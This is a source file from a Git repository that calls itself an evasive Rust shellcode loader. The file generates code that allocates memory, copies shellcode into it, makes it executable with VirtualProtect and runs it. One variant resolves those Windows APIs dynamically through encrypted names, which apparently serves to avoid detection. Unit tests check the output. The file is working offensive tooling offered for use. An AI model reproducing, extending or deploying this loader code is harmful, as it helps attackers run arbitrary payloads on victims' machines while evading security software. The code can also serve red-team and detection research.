myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

syscall.rs (5667B)

      1 pub fn syscall_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn syscall_const() -> String {
      9     format!(
     10         r#"
     11 {}
     12 
     13 #[link(name = "ntdll")]
     14 extern "system" {{
     15     fn RtlCopyMemory(
     16         destination: *mut std::ffi::c_void,
     17         source: *const std::ffi::c_void,
     18         length: usize,
     19     );
     20 }}
     21 "#,
     22         super::common::COMMON_MEMORY_CONSTANTS
     23     )
     24 }
     25 
     26 pub fn syscall_init() -> String {
     27     String::new()
     28 }
     29 
     30 pub fn syscall_process() -> String {
     31     r#"
     32     unsafe {
     33         let addr = VirtualAlloc(
     34             ptr::null_mut(),
     35             shellcode.len(),
     36             MEM_COMMIT | MEM_RESERVE,
     37             PAGE_READWRITE,
     38         );
     39 
     40         if addr.is_null() {
     41             panic!("failed");
     42         }
     43 
     44         RtlCopyMemory(
     45             addr,
     46             shellcode.as_ptr() as *const std::ffi::c_void,
     47             shellcode.len(),
     48         );
     49 
     50         let mut old_protect: u32 = PAGE_READWRITE;
     51         let result = VirtualProtect(addr as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
     52 
     53         if result == 0 {
     54             panic!("failed");
     55         }
     56 
     57         let shellcode_fn: extern "C" fn() = std::mem::transmute(addr);
     58         shellcode_fn();
     59     }
     60 "#
     61     .to_string()
     62 }
     63 
     64 fn generate_syscall_template(function_name: &str) -> String {
     65     super::common::TechniqueTemplateBuilder::new()
     66         .with_import(syscall_import())
     67         .with_const(syscall_const())
     68         .with_init(syscall_init())
     69         .with_process(syscall_process())
     70         .build(function_name)
     71 }
     72 
     73 pub fn generate_syscall_code(function_name: &str) -> String {
     74     generate_syscall_template(function_name)
     75 }
     76 
     77 fn syscall_process_with_dynamic_resolver(
     78     encryptor: &dyn crate::encryption::Encryptor,
     79 ) -> Result<String, String> {
     80     use super::dynamic_common::*;
     81 
     82     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     83     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
     84     let virtual_protect = virtual_protect_resolver(encryptor)?;
     85 
     86     Ok(format!(
     87         r#"
     88     unsafe {{
     89         {virtual_alloc_resolver}
     90         {virtual_alloc_cast}
     91 
     92         let addr = virtual_alloc(
     93             ptr::null(),
     94             shellcode.len(),
     95             MEM_COMMIT | MEM_RESERVE,
     96             PAGE_READWRITE,
     97         );
     98 
     99         if addr.is_null() {{
    100             panic!("failed");
    101         }}
    102 
    103         {rtl_copy_memory_resolver}
    104         {rtl_copy_memory_cast}
    105 
    106         rtl_copy_memory(
    107             addr,
    108             shellcode.as_ptr() as *const std::ffi::c_void,
    109             shellcode.len(),
    110         );
    111 
    112         {virtual_protect_resolver}
    113         {virtual_protect_cast}
    114 
    115         let mut old_protect: u32 = PAGE_READWRITE;
    116         let result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
    117 
    118         if result == 0 {{
    119             panic!("failed");
    120         }}
    121 
    122         let shellcode_fn: extern "C" fn() = std::mem::transmute(addr);
    123         shellcode_fn();
    124     }}
    125 "#,
    126         virtual_alloc_resolver = virtual_alloc.resolver_code,
    127         virtual_alloc_cast = virtual_alloc.cast_code,
    128         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
    129         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
    130         virtual_protect_resolver = virtual_protect.resolver_code,
    131         virtual_protect_cast = virtual_protect.cast_code,
    132     ))
    133 }
    134 
    135 fn generate_syscall_template_with_dynamic_resolver(
    136     function_name: &str,
    137     _encryption_type: &str,
    138     encryptor: &dyn crate::encryption::Encryptor,
    139 ) -> Result<String, String> {
    140     let process_code = syscall_process_with_dynamic_resolver(encryptor)?;
    141 
    142     Ok(super::common::TechniqueTemplateBuilder::new()
    143         .with_import(syscall_import())
    144         .with_const(syscall_const())
    145         .with_init(syscall_init())
    146         .with_process(process_code)
    147         .build(function_name))
    148 }
    149 
    150 pub fn generate_syscall_code_with_dynamic_resolver(
    151     function_name: &str,
    152     encryption_type: &str,
    153     encryptor: &dyn crate::encryption::Encryptor,
    154 ) -> String {
    155     generate_syscall_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
    156         .unwrap_or_else(|err| {
    157             panic!(
    158                 "Failed to generate Syscall code with dynamic resolver (encryption: {}): {}",
    159                 encryption_type, err
    160             )
    161         })
    162 }
    163 
    164 pub struct SyscallGenerator;
    165 
    166 impl super::trait_generator::TechniqueGenerator for SyscallGenerator {
    167     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    168         generate_syscall_code(function_name)
    169     }
    170 
    171     fn generate_code_with_dynamic_resolver(
    172         &self,
    173         _process: &str,
    174         function_name: &str,
    175         encryption_type: &str,
    176         encryptor: &dyn crate::encryption::Encryptor,
    177     ) -> String {
    178         generate_syscall_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
    179     }
    180 
    181     fn requires_process(&self) -> bool {
    182         false
    183     }
    184 
    185     fn name(&self) -> &'static str {
    186         "Syscall"
    187     }
    188 }
    189 
    190 #[cfg(test)]
    191 mod tests {
    192     use super::*;
    193 
    194     #[test]
    195     fn test_generate_syscall_template_contains_all_parts() {
    196         let template = generate_syscall_template("MyFunction");
    197         assert!(template.contains("use std::ptr"));
    198         assert!(template.contains("MEM_COMMIT"));
    199         assert!(template.contains("RtlCopyMemory"));
    200         assert!(template.contains("fn MyFunction"));
    201         assert!(template.contains("VirtualAlloc"));
    202     }
    203 
    204     #[test]
    205     fn test_generate_syscall_code() {
    206         let code = generate_syscall_code("MyRandomFunc");
    207         assert!(code.contains("fn MyRandomFunc"));
    208         assert!(code.contains("VirtualProtect"));
    209         assert!(code.contains("transmute"));
    210     }
    211 }